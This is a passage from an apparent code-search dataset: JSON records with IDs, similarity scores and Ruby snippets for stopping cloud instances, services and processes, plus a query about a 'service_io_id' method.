'instance' : 'instances'} to stop\"\n while true do\n print \".\"\n sleep 2\n break unless stop_threads.any?(&:alive?)\n end\n print \"\\n\"\n \n stop_threads.each(&:join)\n\n monitor.synchronize do\n instance_items.each do |instance_item|\n cloud.after_stop_instance(instance_item)\n end\n end\n end",
"title": ""
},
{
"docid": "de235d6edb00563a22e6d7771d675fa8",
"score": "0.5870596",
"text": "def stop\n cmd = []\n cmd << 'docker stop'\n cmd << \"guard-#{@image}\" if !@tag\n cmd << \"guard-#{@image}-#{@tag}\" if @tag\n system(cmd.join(' '))\n end",
"title": ""
},
{
"docid": "e0de701a734774bbc20ee8d789d087d6",
"score": "0.5867596",
"text": "def stop\n kill_with_descendants(@pid)\n end",
"title": ""
},
{
"docid": "db4e68f24a3d402d2fccdc21ed43c433",
"score": "0.5866912",
"text": "def stop_instance(credentials, id)\n find_vm(credentials, id)[:instance].PowerOffVM_Task\n end",
"title": ""
},
{
"docid": "342639e5524a8d1071cbe19eee544980",
"score": "0.58628666",
"text": "def stop_watching\n EventMachine::unwatch_pid(@signature)\n end",
"title": ""
},
{
"docid": "fbbf1d972183a4216b89cddca0b8c5c6",
"score": "0.58347386",
"text": "def ec2_find_name_instances(tag_value)\n ec2_find_instances_by_tag('Name', tag_value)\n end",
"title": ""
},
{
"docid": "99ba770c0ac8b1883ff5327027f14b5a",
"score": "0.5830415",
"text": "def stop\n Log.info LOG_COMP, 'Stop watch dog'\n\n # unsubscribe from all nodes\n subscriber = gen_subscriber\n\n unsubscribe(subscriber)\n end",
"title": ""
},
{
"docid": "6c073fd176e32d0dd2026c9623d56e36",
"score": "0.5829508",
"text": "def stop\n self.flag.stopped!\n end",
"title": ""
},
{
"docid": "97271b48d0dbb58f207f62dbeb48206c",
"score": "0.5828673",
"text": "def stop!\n signal :kill\n end",
"title": ""
},
{
"docid": "e0cc1ec690b9c0b2118fd9469cdb87ed",
"score": "0.58146155",
"text": "def stop\n @t.kill if @t && @t.alive?\n end",
"title": ""
},
{
"docid": "f7feb8318256753204eda50e25128aa9",
"score": "0.5807986",
"text": "def stop_daemons\n self.running = false \n pids_to_stop = @instances || pids.size\n puts \"Stopping #{pids_to_stop} #{script_name} #{pluralize('instance', pids_to_stop)}...\"\n if pids.empty?\n $stderr.puts \"#{script_name} doesn't appear to be running\"\n exit(1)\n end\n pids.each_with_index do |pid, ii|\n kill_pid(pid)\n break if ii == (pids_to_stop - 1)\n end\n end",
"title": ""
},
{
"docid": "fe9398bcfcaf0040dce942ea416e649e",
"score": "0.5788952",
"text": "def test_999_ec2_stop\n \n params = params()\n params[:no_new] = true\n instances = CaTPAWS::EC2::Instances.new(params)\n\n #just check stop doesn't raise anything. Not sure how to test more\n assert_nothing_raised( Exception ) { instances.shutdown() }\n end",
"title": ""
},
{
"docid": "a6f2327164a94555a76ab99b97f48019",
"score": "0.5785931",
"text": "def stop\n MU.log \"Stopping #{@cloud_id}\"\n MU::Cloud::Google.compute(credentials: @config['credentials']).stop_instance(\n @project_id,\n @config['availability_zone'],\n @cloud_id\n )\n begin\n sleep 5\n end while cloud_desc.status != \"TERMINATED\" # means STOPPED\n end",
"title": ""
},
{
"docid": "6ed25fafc02c4bbd8a4e0a7f319a8aae",
"score": "0.5778261",
"text": "def stop(name)\n booter.stop(name)\n self\n end",
"title": ""
},
{
"docid": "343b70ddb6bddd0ac425fef50632799c",
"score": "0.57781106",
"text": "def stop(vmname, group = configuration.resource_group)\n vm_operate('powerOff', vmname, group)\n end",
"title": ""
},
{
"docid": "f8541ea7a2a259420c8d8d159386593c",
"score": "0.57624155",
"text": "def terminate_instance_all()\n instance_id_arr = get_all_instance_id()\n\n instance_id_arr.each{ |instance_id|\n terminate_instance(instance_id)\n }\nend",
"title": ""
},
{
"docid": "222b841dd6605c25e1ec481eec5b70c0",
"score": "0.5757033",
"text": "def stop\n conditionally_run('prlctl', 'stop', uuid)\n end",
"title": ""
},
{
"docid": "dd58741c4dd63463de7c585cdf4f5203",
"score": "0.574144",
"text": "def aws_stop_instance(instance_id)\n AWSCompute.connect() do |sock|\n server = sock.servers.get(instance_id)\n server.stop\n return server.id\n end\nend",
"title": ""
},
{
"docid": "554d0103aa155bc8f8ff9ff0fe64afcf",
"score": "0.5736799",
"text": "def stop\n @current_list.kill\n end",
"title": ""
},
{
"docid": "9a68645b86dd196f825fbd9a4d2e3a7a",
"score": "0.5736644",
"text": "def stop\n self.stop_flag = true\n end",
"title": ""
},
{
"docid": "6677585a1e86ac40af302db085091eb6",
"score": "0.57281804",
"text": "def terminate_instance(instance)\n i = get_instance(instance)\n i.terminate\n end",
"title": ""
},
{
"docid": "6d16977e3d72132a5bb0474602d10ec1",
"score": "0.5720933",
"text": "def stop\n set_status 'stopping'\n cleanup\n end",
"title": ""
},
{
"docid": "75364f163bac9437e86a99b568f3f68c",
"score": "0.5720781",
"text": "def terminate_instance!(instance_id)\n ec2.terminate_instances(:instance_id => instance_id)\n end",
"title": ""
},
{
"docid": "330fc128bfac95a7d6748c53233df84e",
"score": "0.5714128",
"text": "def on_stop(*a, &b); end",
"title": ""
},
{
"docid": "4c8c94fc5cbc5f15e2261c43929a875d",
"score": "0.570102",
"text": "def terminate_instance!(instance_id=nil)\n ec2.terminate_instances(:instance_id => instance_id)\n end",
"title": ""
},
{
"docid": "399ee5c686a80c9c33118a58a4fa1348",
"score": "0.5700205",
"text": "def stop\n @killed = true\n end",
"title": ""
},
{
"docid": "4b578e81dc3024ad7656337089e8496b",
"score": "0.57001746",
"text": "def stop_instances_identifying_as!( *objects )\n \n return ::IdentifiesAs.stop_object_instances_identifying_as!( self, *objects ) \n \n end",
"title": ""
},
{
"docid": "23b1e2b96a7ea8c392cc5b6428d16dd9",
"score": "0.56949687",
"text": "def stop\n @stopped = true\n end",
"title": ""
},
{
"docid": "48ca8b5538301f03de41707aacbca414",
"score": "0.5689041",
"text": "def stop\n machines.last.stop unless machines.empty?\n end",
"title": ""
},
{
"docid": "2dbb3d599159de921d3427a80735e985",
"score": "0.56819904",
"text": "def stop(action = :default)\n unless ec2_instance.exists?\n raise Cloud::Cycler::TaskFailure.new(\"EC2 instance '#{@instance_id}' does not exist\")\n end\n\n if status == :running\n @task.unsafe(\"Stopping instance #{@instance_id}\") do\n ec2_instance.stop\n end\n elsif status == :stopped\n @task.debug { \"Instance #{@instance_id} already stopped\" }\n else\n @task.debug { \"Cannot stop #{@instance_id} - instance is not running (status: #{status})\" }\n end\n rescue AWS::EC2::Errors::InvalidInstanceID => e\n err = Cloud::Cycler::TaskFailure.new(e.message)\n err.set_backtrace(e.backtrace)\n raise err\n end",
"title": ""
},
{
"docid": "06ad58541a4b749dc6106451605fccbc",
"score": "0.5678949",
"text": "def stop\n old_stop\n end",
"title": ""
},
{
"docid": "f719934d316b98abd383959685c800b4",
"score": "0.56718796",
"text": "def terminate_instance!(o={})\n raise StandardError.new(\"You must pass an instance_id when terminating an instance with ec2\") unless o[:instance_id] || o[:instance_ids]\n instance_ids = o[:instance_ids] || [o[:instance_id]]\n response = ec2.terminate_instances(instance_ids)\n response.collect{|i| Ec2Instance.new(Ec2Response.pp_format(i)) }\n end",
"title": ""
},
{
"docid": "342c281c2dcf5baa515201d6725d082f",
"score": "0.5671199",
"text": "def stop\n\t\t\t%w{process}.each { |m|\n\t\t\t\tsend \"stop_#{m}\"\n\t\t\t}\n\t\t\tnil\n\t\tend",
"title": ""
},
{
"docid": "ff3477fccaa32639ba5b5bee759d663a",
"score": "0.5666678",
"text": "def stop\n send_command( actionName: \"Stop\", serviceType: \"SkyPlay:2\", argList: '<InstanceID>0</InstanceID>', controlURL: \"SkyPlay\") \n end",
"title": ""
},
{
"docid": "b572c73fc0ebe27535f6995916b632b5",
"score": "0.5633265",
"text": "def send_stop\n disable_load_based_auto_scaling()\n disable_time_based_auto_scaling()\n ids = []\n get_instances().each do |i|\n @client.stop_instance({:instance_id => i[:instance_id]})\n ids.push(i[:instance_id])\n end\n return ids\n end",
"title": ""
},
{
"docid": "bc9622107e033227fbb4e8715443b92d",
"score": "0.5630288",
"text": "def stop_nodes(nodes)\n @ec2.stop_instances(instance_id_list(nodes))\n end",
"title": ""
},
{
"docid": "43fa0a626efa3f935a09855057d50c84",
"score": "0.56268245",
"text": "def kill(nodes)\n @ec2.terminate_instances(instance_id_list(nodes))\n end",
"title": ""
},
{
"docid": "4e33a41a73fe2bbb8b5e061a2391ed5f",
"score": "0.5626659",
"text": "def stop()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "584e9fdd43b7c8c4d511d7938187953b",
"score": "0.5618912",
"text": "def stop!\n @stopped = true\n end",
"title": ""
},
{
"docid": "6efa88bf004c0f0835b54be78d693a1c",
"score": "0.56141245",
"text": "def force_stop\n request(:post, \"/computing/instance/#{@uuid}/force_stop\")\n true\n end",
"title": ""
},
{
"docid": "3b14cdcf8996f09913edb6bc0855f6be",
"score": "0.5613097",
"text": "def extraction_stop_instance\n @@ary_stop_detail = []\n num = @ec2.instances.count\n initialize_value = 0\n i = @ec2.client.describe_instances(:filters => [{ 'name' => 'instance-state-name', 'values' => ['stopped'] }])\n begin\n while initialize_value < num do\n @@stop_insid = i.reservation_set[initialize_value][:instances_set][0][:instance_id]\n @@ary_stop_detail.push(@@stop_insid)\n initialize_value += 1\n end\n rescue SocketError => e\n puts '[ERROR] SocketError'\n puts e.message\n exit\n rescue NoMethodError => e\n end\n end",
"title": ""
},
{
"docid": "9a672d552580d0462ae9bcb286ac7e7d",
"score": "0.5611575",
"text": "def stop\n execute( stop_command )\n end",
"title": ""
},
{
"docid": "b185903a2f723bc01676aeda97298e5b",
"score": "0.56106406",
"text": "def stop!\n @status = :stopped\n end",
"title": ""
},
{
"docid": "f3a771ddfa1c8cabbe0fd5c5a07768eb",
"score": "0.5608916",
"text": "def stop\n @run = false\n end",
"title": ""
},
{
"docid": "3bd73fb77c55e484de716b0313fa8bd2",
"score": "0.5606727",
"text": "def appscale_cloud_stop(resource, vm)\n \n user = resource[:vm_user]\n \n # It is being monitored with puppet through a crontab file, so we have to\n # stop monitoring first\n cloud_cron = CloudCron.new()\n word = \"basic\"\n cloud_cron.delete_line_with_word(word, user, vm)\n \n # Terminate instances\n command = \"/root/appscale-tools/bin/appscale-terminate-instances\"\n CloudSSH.execute_remote(command, user, vm)\n \nend",
"title": ""
},
{
"docid": "75e30651633ce5a6fa36f12d308bf00a",
"score": "0.56064624",
"text": "def stop\n kill_processes(\"a*.pid\")\n end",
"title": ""
},
{
"docid": "bd450a50e54d4210cc26a9cc384b64af",
"score": "0.56032073",
"text": "def get_instances_by_tag(tag_name, tag_value)\n @ec2.describe_instances(filters: [\n {\n name: \"tag:#{tag_name}\",\n values: tag_value\n }\n ])\n end",
"title": ""
},
{
"docid": "547eb50982ab769e58caa054cc154196",
"score": "0.5602537",
"text": "def stop\n @started = false\n end",
"title": ""
},
{
"docid": "6feb00c32f40b5e5c652f4b0c07a5511",
"score": "0.56005913",
"text": "def stop\n @is_stopped = truek\n end",
"title": ""
},
{
"docid": "0f258b59d3bf3071bda33880922406f6",
"score": "0.55977327",
"text": "def stop\n\t\tself.stop_flag = true\n\tend",
"title": ""
},
{
"docid": "846ae0023c796bd1223f3ddf94a7a9f9",
"score": "0.55953395",
"text": "def stop\n Smith.stop(true)\n end",
"title": ""
},
{
"docid": "22808fa51b35ac3d3afed0c00ed33501",
"score": "0.55948436",
"text": "def stop\n @on.fire(:stop, self)\n end",
"title": ""
},
{
"docid": "5faf39ea497c561ead5e0959590e5b25",
"score": "0.5591764",
"text": "def stop_instance(instance_id, timeout = 240)\n post_message(\"going to stop the temporary instance #{instance_id}...\")\n @logger.debug \"stop instance #{instance_id}\"\n res = ec2_handler().stop_instances(:instance_id => instance_id)\n done = false\n while timeout > 0 && !done\n res = ec2_handler().describe_instances(:instance_id => instance_id)\n state = res['reservationSet']['item'][0]['instancesSet']['item'][0]['instanceState']\n @logger.debug \"instance in state '#{state['name']}' (#{state['code']})\"\n if state['code'].to_i == 80\n done = true\n timeout = 0\n elsif state['code'].to_i != 64\n done = false\n timeout = 0\n msg = \"instance in state '#{state['name']}'\"\n @logger.error \"#{msg}\"\n post_message(\"#{msg}\")\n end\n sleep(5)\n timeout -= 5\n end\n msg = \"\"\n if !done\n msg = \"Failed to stop instance '#{instance_id}\"\n @logger.error \"#{msg}\"\n raise Exception.new(\"Unable to stop instance '#{instance_id}'}\")\n else\n msg = \"'#{instance_id}' successfully stopped\"\n @logger.info \"#{msg}\"\n end\n post_message(\"#{msg}\")\n end",
"title": ""
},
{
"docid": "3f2690d74c750651706d087cd31761df",
"score": "0.55843884",
"text": "def stop!\n @stopping = true\n end",
"title": ""
},
{
"docid": "8e5fe7e625530ecf7bf2666b4c0c7ca8",
"score": "0.55791",
"text": "def stop\n true unless @name\n end",
"title": ""
},
{
"docid": "8e5fe7e625530ecf7bf2666b4c0c7ca8",
"score": "0.55791",
"text": "def stop\n true unless @name\n end",
"title": ""
},
{
"docid": "959179f7c7adf28d0641f6a094db46d7",
"score": "0.5576657",
"text": "def stop()\n # return true if stopped?\n # return false if not stoppable?\n connection.containers.stop(uuid).tap{ self.forget }\n end",
"title": ""
},
{
"docid": "21a395c746b7b880daa9d3529f140add",
"score": "0.55734545",
"text": "def deactivate(*tags)\n tags.each { |t| TagList.delete(t) }\n end",
"title": ""
},
{
"docid": "21a395c746b7b880daa9d3529f140add",
"score": "0.55734545",
"text": "def deactivate(*tags)\n tags.each { |t| TagList.delete(t) }\n end",
"title": ""
},
{
"docid": "35a98fcb21807ef131cc28e7ff620eba",
"score": "0.5558733",
"text": "def stop\n @stopped = true\n end",
"title": ""
},
{
"docid": "35a98fcb21807ef131cc28e7ff620eba",
"score": "0.5558733",
"text": "def stop\n @stopped = true\n end",
"title": ""
},
{
"docid": "f7d97b80e56323c8e35c753d35d9eefe",
"score": "0.5556471",
"text": "def stop(**keyword_args)\n stop = Stop.new(**keyword_args)\n\n yield(stop) if block_given?\n append(stop)\n end",
"title": ""
},
{
"docid": "54494b4a1e92648c0a41e9d2728ccdac",
"score": "0.5549532",
"text": "def stop\n instance.async_interrupt(3)\n @status = Status::STOPPING\n end",
"title": ""
},
{
"docid": "b28df4e6ed7e1b3b259aec1b63e6cd5d",
"score": "0.55474615",
"text": "def stop\n @started = false\n end",
"title": ""
},
{
"docid": "bc234816294de2f1b894e6abdaf1702e",
"score": "0.55441123",
"text": "def stop(name)\n providers.stop(name)\n self\n end",
"title": ""
},
{
"docid": "7fd4d5972636d62bb8b1b6ec6c2b7bb5",
"score": "0.5541327",
"text": "def stop!\n @stop = true\n end",
"title": ""
},
{
"docid": "bdf8c5ecaa0e46224030514258cc0685",
"score": "0.55406964",
"text": "def stop_load_instances(num_instances)\n load_instances = get_instances().select{ |i| i[:auto_scaling_type].eql? 'load' }\n\n if num_instances > load_instances.length\n raise \"Can't stop #{num_instances} instances because the layer only has #{load_instances.length} load-based instances configured.\"\n end\n\n ids = []\n load_instances.select{ |i| launched? i }.take(num_instances).each do |i|\n puts \"stopping #{i[:hostname]} #{i[:auto_scaling_type]}\" if @verbose\n @client.stop_instance({:instance_id => i[:instance_id]})\n ids.push(i[:instance_id])\n end\n ids\n end",
"title": ""
},
{
"docid": "7e2f1641980c9c2a46985bab638b84aa",
"score": "0.5531424",
"text": "def stop\n \"Stop <#{self.class.name}>\"\n end",
"title": ""
},
{
"docid": "69f96c611932fb0c3eb4432b9a7fe015",
"score": "0.5525032",
"text": "def cancel(tag)\n @scheduled.synchronize do\n @scheduled.delete_if {|k,v| v.tag === tag }\n @wait_cond.signal\n end\n end",
"title": ""
},
{
"docid": "fe67ac446671345d69067b636f1978fc",
"score": "0.5522092",
"text": "def stop\n if self.pid\n Servant.kill(self.pid)\n stopped\n end\n end",
"title": ""
},
{
"docid": "3a7614aac3e01e07c7c5adac3e5d5074",
"score": "0.551663",
"text": "def terminate_instance(instance_id)\n response = api_call('terminate-instance', {instanceid: instance_id})\n response[\"terminate-instanceresponse\"][\"instancesSet\"][\"item\"]\n end",
"title": ""
},
{
"docid": "4daca7fa5b2348027cdeaa713492ed6e",
"score": "0.55160147",
"text": "def stop\n self.class.stop\n end",
"title": ""
},
{
"docid": "6141e5aa5233d7b6fb2c6fa49f42be0f",
"score": "0.5514629",
"text": "def stop\n execute.commands[:stop] = Stop.new(pid)\n execute.command :stop\n end",
"title": ""
}
] |
3da7c13860992909fd0ee228200b04dd
|
undef :service_io_id if method_defined? :service_io_id
|
[
{
"docid": "ddbf338fa0e8b686b1d28e250850c74c",
"score": "0.8172565",
"text": "def service_io_id\n service.present? ? service.io_id : nil\n end",
"title": ""
}
] |
[
{
"docid": "9569cf068a8553c32856d2b27a63d9a1",
"score": "0.63193834",
"text": "def to_stop_io_id\n to_stop.present? ? to_stop.io_id : nil\n end",
"title": ""
},
{
"docid": "633a7be3da5e360b852fc70581a7a2a5",
"score": "0.5925383",
"text": "def service_id(service)\n if @options[service.to_sym].nil?\n nil\n else\n @options[service.to_sym].id\n end\n end",
"title": ""
},
{
"docid": "d2b73ba881c4e387be9cffcda767e591",
"score": "0.581924",
"text": "def set_idti_service\n @idti_service = IdtiService.find(params[:id])\n end",
"title": ""
},
{
"docid": "bcc68f3a9b3f55c9243b3668f773a457",
"score": "0.57995296",
"text": "def service_type_name\n \"\" \n end",
"title": ""
},
{
"docid": "af996fe5ee573e4eacfd0a5a56c58258",
"score": "0.57215697",
"text": "def service_id\n return @service_id\n end",
"title": ""
},
{
"docid": "26114b9a009c6b69fc796b74d845760e",
"score": "0.5719423",
"text": "def service_id=(value)\n @service_id = value\n end",
"title": ""
},
{
"docid": "dd6ad299951c72085920b0f32964c2aa",
"score": "0.57192856",
"text": "def service_name=(_arg0); end",
"title": ""
},
{
"docid": "a2d7e5eee4b0463e40ec06fb2e2484f6",
"score": "0.562322",
"text": "def service_name\n @service_name ||= InchCI::ProjectUID.new(uid).service\n end",
"title": ""
},
{
"docid": "97d4b94c351e1acdf7740f20afd94f88",
"score": "0.56117076",
"text": "def service_name; end",
"title": ""
},
{
"docid": "65d7ee1a3436a82ab98037a91cb5c6c1",
"score": "0.5514426",
"text": "def service_sockets\n @service_sockets ||= {}\n end",
"title": ""
},
{
"docid": "6fb2ab922e6266f28e040454af36e4d0",
"score": "0.5475732",
"text": "def service_none!()\n @service = TAC_PLUS_AUTHEN_SVC_NONE\n end",
"title": ""
},
{
"docid": "da1dea83d17258c6436316056db90623",
"score": "0.5467777",
"text": "def service; raise NotImplementedError; end",
"title": ""
},
{
"docid": "ef7366ba707795f1dda3e64dab7f7ce5",
"score": "0.54142857",
"text": "def fare_io_id\n fare.present? ? fare.io_id : nil\n end",
"title": ""
},
{
"docid": "4b070fcf92373d50c7f9a1907e89b7a9",
"score": "0.53789794",
"text": "def _service_type\n self.class.service_type\n end",
"title": ""
},
{
"docid": "350932e2a12587026869b48966454d9d",
"score": "0.52892447",
"text": "def set_service_ids\n service_ids = FP::Vars.services_on_this_instance.join(',')\n Facter.add(:service_ids) { setcode { service_ids} }\nend",
"title": ""
},
{
"docid": "fe88d22ee54b6d16c5be98cab7a1a258",
"score": "0.5279782",
"text": "def default_service_msg_number\n 1002\n end",
"title": ""
},
{
"docid": "27861989d87b58c8541ec1d1e9f7ee54",
"score": "0.52199507",
"text": "def set_io\n @io = Io.find(params[:id])\n end",
"title": ""
},
{
"docid": "5bb2970da0c6305ccd2543fff9abd12a",
"score": "0.52169454",
"text": "def servicio # :doc\n id = params[:service_id]\n if id.present?\n \t\tService.find(params[:service_id]) \n \tend \n end",
"title": ""
},
{
"docid": "a3a4b5fa701a5a2678a254ee9c44f645",
"score": "0.51874226",
"text": "def openid_endpoint=(_arg0); end",
"title": ""
},
{
"docid": "4087dba8ea360eea88ddc92a027b0b41",
"score": "0.5186025",
"text": "def default_service_msg_number\n \"0002\"\n end",
"title": ""
},
{
"docid": "982615013bd1ecbd6dfba8fb9df93f7a",
"score": "0.5184118",
"text": "def service_request(service); end",
"title": ""
},
{
"docid": "23a94ff26fbf1be9464dc4da2a21d187",
"score": "0.51835",
"text": "def set id, service\n @services ||= {}\n @services[id] = service\n end",
"title": ""
},
{
"docid": "da56fd0719663c486f0c4a2d22eb91dc",
"score": "0.51808697",
"text": "def service_stop; end",
"title": ""
},
{
"docid": "be4b78a0e2cdcde78e911fa7e5d26b94",
"score": "0.5164822",
"text": "def service; end",
"title": ""
},
{
"docid": "f3d9c9b8ca9edd5a25e2d1e81c6e39e1",
"score": "0.5155697",
"text": "def id\n #NOOP\n end",
"title": ""
},
{
"docid": "8a924d21492d66a9f38cf492df7be83f",
"score": "0.5150926",
"text": "def platform_endpoint=(_arg0); end",
"title": ""
},
{
"docid": "ae2b23f3fbc4d309480900e2e7d87020",
"score": "0.5139046",
"text": "def bi_service\n end",
"title": ""
},
{
"docid": "28bd283f71f0d5a00b2dde301d2d3702",
"score": "0.5135251",
"text": "def service_name\n raise \"please implement #service_name in your subclass #{self.class}\"\n end",
"title": ""
},
{
"docid": "c1cceb8218ecbfd282084adf44b30a51",
"score": "0.513108",
"text": "def service_name\n @service_name = \"HelloAgent\"\n end",
"title": ""
},
{
"docid": "858ed9c5f4ec0d2cfb312f3b7d623d17",
"score": "0.51149666",
"text": "def external_interface?(id)\n id !~ /^#.+/\n end",
"title": ""
},
{
"docid": "cded8ad659fa660385ac84c839a448c4",
"score": "0.5112806",
"text": "def id; Common.device_id(@handle); end",
"title": ""
},
{
"docid": "95bf5735129ebfb07d74324d20682e6d",
"score": "0.5103062",
"text": "def service_endpoint; end",
"title": ""
},
{
"docid": "95bf5735129ebfb07d74324d20682e6d",
"score": "0.5103062",
"text": "def service_endpoint; end",
"title": ""
},
{
"docid": "47645ad853f2d5ba85265bf216e2e2fc",
"score": "0.5100908",
"text": "def agency_io_id\n agency.present? ? agency.io_id : nil\n end",
"title": ""
},
{
"docid": "a8d9ba2797771d183ff136e53614c5c4",
"score": "0.5100395",
"text": "def service_name\n self[:name].gsub(/\\.|,/, '_').gsub(/\\s/, '').underscore.to_sym if self[:name]\n end",
"title": ""
},
{
"docid": "eed7a6af9d050f219140302979e898d7",
"score": "0.5098203",
"text": "def service_type\n return nil unless self.service_type_id \n ServiceType.find(self.service_type_id)\n end",
"title": ""
},
{
"docid": "2d4ddc0c049e41e2ffb42cedc38628e2",
"score": "0.5089379",
"text": "def get id\n @services[id]\n end",
"title": ""
},
{
"docid": "6ba874cc29d713dddc1296cf93093314",
"score": "0.5084426",
"text": "def service\n @service ||=\n if (c = self_class)\n name = c.safe_const_get(:SERVICE_NAME)\n name ||= c.module_parent_name.underscore.remove(/_service$/)\n name&.to_sym || super\n end\n end",
"title": ""
},
{
"docid": "04147cb3a3e086d985cf8c1933fa0bb1",
"score": "0.50738734",
"text": "def initialize(service)\n @service = service\n end",
"title": ""
},
{
"docid": "ad22e700580e8f4f8ca51ada9231e98b",
"score": "0.5073124",
"text": "def system_id\n super\n end",
"title": ""
},
{
"docid": "2b983cff455ef539d886c97782f643de",
"score": "0.5043361",
"text": "def fix_unknown_service\n new_services = Types::Base.new\n services.each do |service_name, service|\n unless data_types[service_name]\n service.operations.each do |operation_name, operation|\n if data_types[operation.request]\n new_services[operation.request] ||= Types::Base.new( :operations => {} )\n new_services[operation.request].operations[operation_name] = operation\n elsif data_types[operation.response]\n new_services[operation.response] ||= Types::Base.new( :operations => {} )\n new_services[operation.response].operations[operation_name] = operation\n end\n end\n end\n end\n services.merge!(new_services)\n end",
"title": ""
},
{
"docid": "09df2be842a22a8bf2c06dda5c18923d",
"score": "0.5036196",
"text": "def service(id)\n request :get, \"/services/#{id}\"\n end",
"title": ""
},
{
"docid": "ba5b153e8713e7eff14892427ecdd4ce",
"score": "0.5024331",
"text": "def service_socket(name)\n service_sockets[name] ||= \n begin\n socket = rz_socket(ZMQ::DEALER)\n socket.setsockopt(ZMQ::IDENTITY,@rz_identity) if @rz_identity\n socket.connect(service_address(name))\n socket\n end\n end",
"title": ""
},
{
"docid": "452daf0c8ca26376b291b698a0dcc437",
"score": "0.5015751",
"text": "def basic_service_name\n return @basic_service_name if @basic_service_name\n basic_service_name = name\n basic_service_name = service_name unless name_equals_title?\n if basic_service_name.start_with? 'p_'\n basic_service_name = basic_service_name.gsub(/^p_/, '')\n end\n debug \"Using '#{basic_service_name}' as the basic service name for the primitive '#{name}'\"\n @basic_service_name = basic_service_name\n end",
"title": ""
},
{
"docid": "511996eed483f772b6c9762c931be36f",
"score": "0.5011626",
"text": "def service_rcmd!()\n @service = TAC_PLUS_AUTHEN_SVC_RCMD\n end",
"title": ""
},
{
"docid": "d8b38b024e7a7c8f73884cf7906e52f5",
"score": "0.5007282",
"text": "def service_name\n raise NotImplementedError, \"Subclass #{self.class.name} of Configuration must implement service_name\"\n end",
"title": ""
},
{
"docid": "cadcdd802afdae084498c5c3e1660d4f",
"score": "0.5005796",
"text": "def service_layer\n @sl ||= ServiceLayer.new\n end",
"title": ""
},
{
"docid": "2fd600e165629d5f0d04284623f435b4",
"score": "0.50022674",
"text": "def across_service_state\n super\n end",
"title": ""
},
{
"docid": "d1711e5bd0940b8de5c9fd6960928a9a",
"score": "0.4996465",
"text": "def service_name(id)\n @service_names ||= {}\n return @service_names[id] if @service_names.include?(id)\n @options.each do |key, value|\n if value.id == id\n @service_names[value.id] = key\n return key\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "c7b4a5124224c2240a7364a8c3201181",
"score": "0.49800462",
"text": "def interface_type\n @interface_type || :spi\n end",
"title": ""
},
{
"docid": "4f8040e513df42a0ade126b80e971b9d",
"score": "0.49689755",
"text": "def uuid\n\t\t\t\t\treturn @uuid if @uuid\n\t\t\t\t\tif __get_io\n\t\t\t\t\t\treturn (@uuid ||= Plezi::Settings.uuid + @io.id)\n\t\t\t\t\tend\n\t\t\t\t\tnil\n\t\t\t\tend",
"title": ""
},
{
"docid": "522bbf31d1b2b51d8a64c81e2a10e5cb",
"score": "0.4968623",
"text": "def service\n @service\n end",
"title": ""
},
{
"docid": "3f25b7e747f49b6995a415130940318c",
"score": "0.49662718",
"text": "def set_counter_service_type\n @counter_service_type = CounterServiceType.find(params[:id])\n end",
"title": ""
},
{
"docid": "b76bf0f7fa424b0138e7dd8894db202c",
"score": "0.49634647",
"text": "def obo_id(so_id)\n return \"obo:\" + so_id.sub(':', '_')\n end",
"title": ""
},
{
"docid": "1f1d309f2195ee9367cedc26a765699e",
"score": "0.4962452",
"text": "def service_name\n raise TypeError, 'no type on this reply' unless\n instance_variable_defined? :@type\n\n @type.split('.').first.sub '_', ''\n end",
"title": ""
},
{
"docid": "7836a1beffac62b63573487ca0897841",
"score": "0.4946477",
"text": "def stop_service\n @primary_server.stop_service if @primary_server\n @primary_server = nil\n end",
"title": ""
},
{
"docid": "ca59d33d72c648e47ea51dc90e0b5b70",
"score": "0.49432483",
"text": "def set_service\n @service = Service.find_by_hashid(params[:id])\n end",
"title": ""
},
{
"docid": "d7efde91d30ffe91d1b704c26b9b0738",
"score": "0.49411204",
"text": "def associate_to_service\n ThreeScale::Deprecation.silence do\n if parent\n self.service = parent.service\n elsif owner.is_a? Service\n self.service = owner\n end\n end\n end",
"title": ""
},
{
"docid": "9b17cb7882f714a295f2a1b843b1cbb4",
"score": "0.4941088",
"text": "def service\n @service ||= fetcher.get(Service, service_id)\n end",
"title": ""
},
{
"docid": "ae1f5eeab8113ef478de1b47be0532dc",
"score": "0.49367172",
"text": "def service_pid\n _pid_file_pid\n end",
"title": ""
},
{
"docid": "4de7cbaebdb14bac797dc4857d4c9570",
"score": "0.4936502",
"text": "def registry_id_safe\n @registry_id || :NO_ID\n end",
"title": ""
},
{
"docid": "c5cda2f08335346f48a2d0e9c065f5a8",
"score": "0.493486",
"text": "def id\n @values.fetch('ai.operation.id') { \n @values['ai.operation.id'] = nil\n }\n end",
"title": ""
},
{
"docid": "4d92e199279c8310effd8c377aaadf69",
"score": "0.49334234",
"text": "def get_ai_service_base_name(options)\n service_base_name = options['service']\n if service_base_name.match(/i386|sparc/)\n service_base_name = service_base_name.gsub(/i386/,\"\")\n service_base_name = service_base_name.gsub(/sparc/,\"\")\n service_base_name = service_base_name.gsub(/_$/,\"\")\n end\n return service_base_name\nend",
"title": ""
},
{
"docid": "e2d1d3cecc585c4d78c7edc19d03b096",
"score": "0.49290138",
"text": "def set_service\r\n @service = Service.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "1a484188301cc5b0cb25ffd604e387b9",
"score": "0.49266136",
"text": "def service_pt!()\n @service = TAC_PLUS_AUTHEN_SVC_PT\n end",
"title": ""
},
{
"docid": "c722b37430c24cb65d144d68b902b76a",
"score": "0.49262542",
"text": "def service\n self.original_service or Service.find_by_name(\"FieldStatus\")\n end",
"title": ""
},
{
"docid": "20d78922b98227d0b23e0e3c8b8f2e9f",
"score": "0.49258903",
"text": "def service_naming(service, dialogs_options_hash)\n log(:info, \"Processing service_naming...\", true)\n new_service_name = dialogs_options_hash[0][:dialog_service_name] rescue nil\n new_service_description = dialogs_options_hash[0][:dialog_service_description] rescue nil\n\n if new_service_name.blank?\n new_service_name = \"#{service.name}-#{Time.now.strftime('%Y%m%d-%H%M%S')}\"\n end\n log(:info, \"Service name: #{new_service_name}\")\n service.name = new_service_name\n\n unless new_service_description.blank?\n log(:info, \"Service description #{new_service_description}\")\n service.description = new_service_description\n end\n log(:info, \"Processing service_naming...Complete\", true)\nend",
"title": ""
},
{
"docid": "f956df25d79dafa40d5d7b85673161e3",
"score": "0.4924719",
"text": "def service_name\n return @service_name\n end",
"title": ""
},
{
"docid": "d280b7a2cbbfba8fcbce8921eff8f0b4",
"score": "0.49234414",
